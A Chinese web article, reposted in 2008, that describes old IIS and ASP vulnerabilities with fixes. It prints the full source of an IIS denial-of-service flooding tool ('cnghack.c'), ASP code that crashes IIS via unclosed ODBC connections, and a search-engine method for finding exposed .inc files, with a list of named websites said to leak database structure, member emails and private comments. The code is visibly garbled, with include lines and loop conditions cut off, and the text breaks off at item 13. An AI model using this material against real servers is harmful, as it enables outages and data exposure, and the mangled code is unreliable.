分享
 
 
 

SP漏洞分析和解决方法(10--14)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

10、IIS web server DOS

漏洞描述:

默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果"MaxClientRequestBuffer"设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用下面的程序。可以很容易地对IIS server实行DOS攻击:

#include

#include

#define MAX_THREAD 666

void cng();

char *server;

char *buffer;

int port;

int counter = 0;

int current_threads = 0;

int main(int argc, char **argv)

{

WORD tequila;

WSADATA data;

int p;

DWORD tid;

HANDLE hThread[2000];

//This code is as is and sucks as it is. Won't exit correctly and a lot

of other fun things.

//That I didn't want to take the time to do. So just ctrl+c out of the

code.

//Load up cnghack.exe 3 times for charm.

printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my

beloved.\"\n");

if(argc

printf("Usage: %s [server] [port]\n",argv[0]);

exit(1);

}

buffer=malloc(17500);

memset( buffer, 'A', strlen(buffer));

server=argv[1];

port=atoi(argv[2]);

tequila = MAKEWORD( 1, 1 );

printf("Attempting to start winsock... ");

if( (WSAStartup(tequila, &data)) !=0 ){

printf("failed to start winsock.\n");

exit(1);

}

else{

printf("started winsock.\n\n");

}

counter = 0;

for(p = 0 ; p

hThread[counter] = CreateThread(0,

0,

(LPTHREAD_START_ROUTINE) cng,

( void * )++counter,

0,

&tid);

}

Sleep(250);

while( current_threads )

Sleep(250);

counter = 0;

printf("Terminated Threads.\n");

while (counter

{

TerminateThread( hThread[counter], 0 );

++counter;

}

WSACleanup();

return 0;

}

void cng()

{

int SockFD=0, p;

struct sockaddr_in DstSAin;

char GETKILLED[]="GET / HTTP/\r\n";

int die=1;

printf("Entered CNG\n");

++current_threads;

DstSAin.sin_family = AF_INET;

DstSAin.sin_port = htons((u_short)port);

DstSAin.sin_addr.s_addr=inet_addr( server );

if((SockFD = socket(AF_INET, SOCK_STREAM, 0))

printf("Failed to create socket\n");

--current_threads;

return;

}

if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))

{

p=send(SockFD,GETKILLED,strlen(GETKILLED),0);

printf("Step 1: %i\n", p);

for(; {

p=send(SockFD,buffer,strlen(buffer),0);

printf("P: %i\n", p);

//put in some code to check if send = -1 more then X times we drop

the loop and exit the thread

//bla bla bla i love the dirtiness of concept code.

}

}

--current_threads;

printf("Exited CNG\n");

return;

}

cnghack.c works by doing the following:

Connects to example.com

Sends: GET / HTTP/[return][buffer]

Where:

[return] is just an \r\n

[buffer] is a never ending stream of A's

攻击结果将导致NT系统的CPU占用率达到 100%

解决方案

运行Regedt32.exe

在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters

增加一个值:

value Name: MaxClientRequestBuffer

Data Type: REG_DWORD

设置为十进制

具体数值设置为你想设定的IIS允许接受的URL最大长度。

CNNS的设置为256

11、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击

漏洞描述:

Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。

影响系统:

ODBC 版本: 3.510.3711.0

ODBC Access驱动版本: 3.51.1029.00

OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)

Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)

漏洞检测方法如下:

ODBC 连接源名称: miscdb

ODBC 数据库型号: MS Access

ODBC 假设路径: d:\data\misc.mdb

ASP代码如下:

set connVB = server.createobject("ADODB.Connection")

connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"

%

...lots of html removed...

set connGlobal = server.createobject("ADODB.Connection")

connGlobal.Open "DSN=miscdb;User=sa"

mSQL = "arb SQL Statement"

set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof

Response.Write rsGlobal("resultfrommiscdb")

rsGlobal.movenext

wend

'rsGlobal.close

'set rsGlobal = nothing

'connGlobal.close

'set connGlobal = nothing

' Note we do NOT close the connection

%

set connGlobal = server.createobject("ADODB.Connection")

connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};

DBQ=d:\data\misc.mdb"

mSQL = "arb SQL Statement"

set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof

Response.Write rsGlobal("resultfrommiscdb")

rsGlobal.movenext

wend

rsGlobal.close

set rsGlobal = nothing

connGlobal.close

set connGlobal = nothing

' Note we DO close the connection

%

在这种情况下,IIS处理进程将会停顿,CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。

12、ASP主页.inc文件泄露问题

漏洞描述:

受影响的版本:任何提供ASP服务的系统

远程:YES / 本地:YES

内容摘要:

当存在asp的主页正在制作并没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象,如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关文件的定位,并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。

具体操作过程是:

- 利用搜索引擎查找包含+"Microsoft VBScript 运行时刻错误执行搜索" +".inc ," 的关键字

- 搜索引擎会自动查找包含asp的包含文件(.inc)并显示给用户

- 利用浏览器观看包含文件的源代码,其中可能会有某些敏感信息

漏洞的利用:

例子:

- http://shopping.altavista.com/inc/lib/prep.lib

暴露数据库连接和性质, 资源地点, 小甜饼逻辑,服务器 IP 地址

- http://www.justshop.com/SFLib/ship.inc

暴露数据库性质

- http://www.bbclub.com:8013/includes/general.inc

暴露 cobranding

- http://www.salest.com/corporate/admin/include/jobs.inc

暴露 datafile 地点和结构

- http://www.bjsbabes.com/SFLib/design.inc

包括数据库结构为 StoreFront 2000 暴露源代码

- http://www.ffg.com/scripts/IsSearchEngine.inc

暴露搜索引擎记录文件

- http://www.wcastl.com/include/functions.inc

暴露成员电子邮件地址

- http://www.wcastl.com/flat/comments.txt

暴露成员私人的注释文件

- http://www.traveler.net/two/cookies.inc

暴露 cookie 逻辑

解决方案:

- 搜索引擎应该不索引有 asp 运行时刻错误的页

- 程序员应该在网页发布前对其进行彻底的调试

- 安全专家需要固定 asp 包含文件以便外部的用户不能看他们

asp 新闻组、站点提供两个解决方案对这个漏洞进行修正,首先对 .inc 文件内容进行加密,其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的,尽量使用无规则的英文字母。

13、利用Activer server explor

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有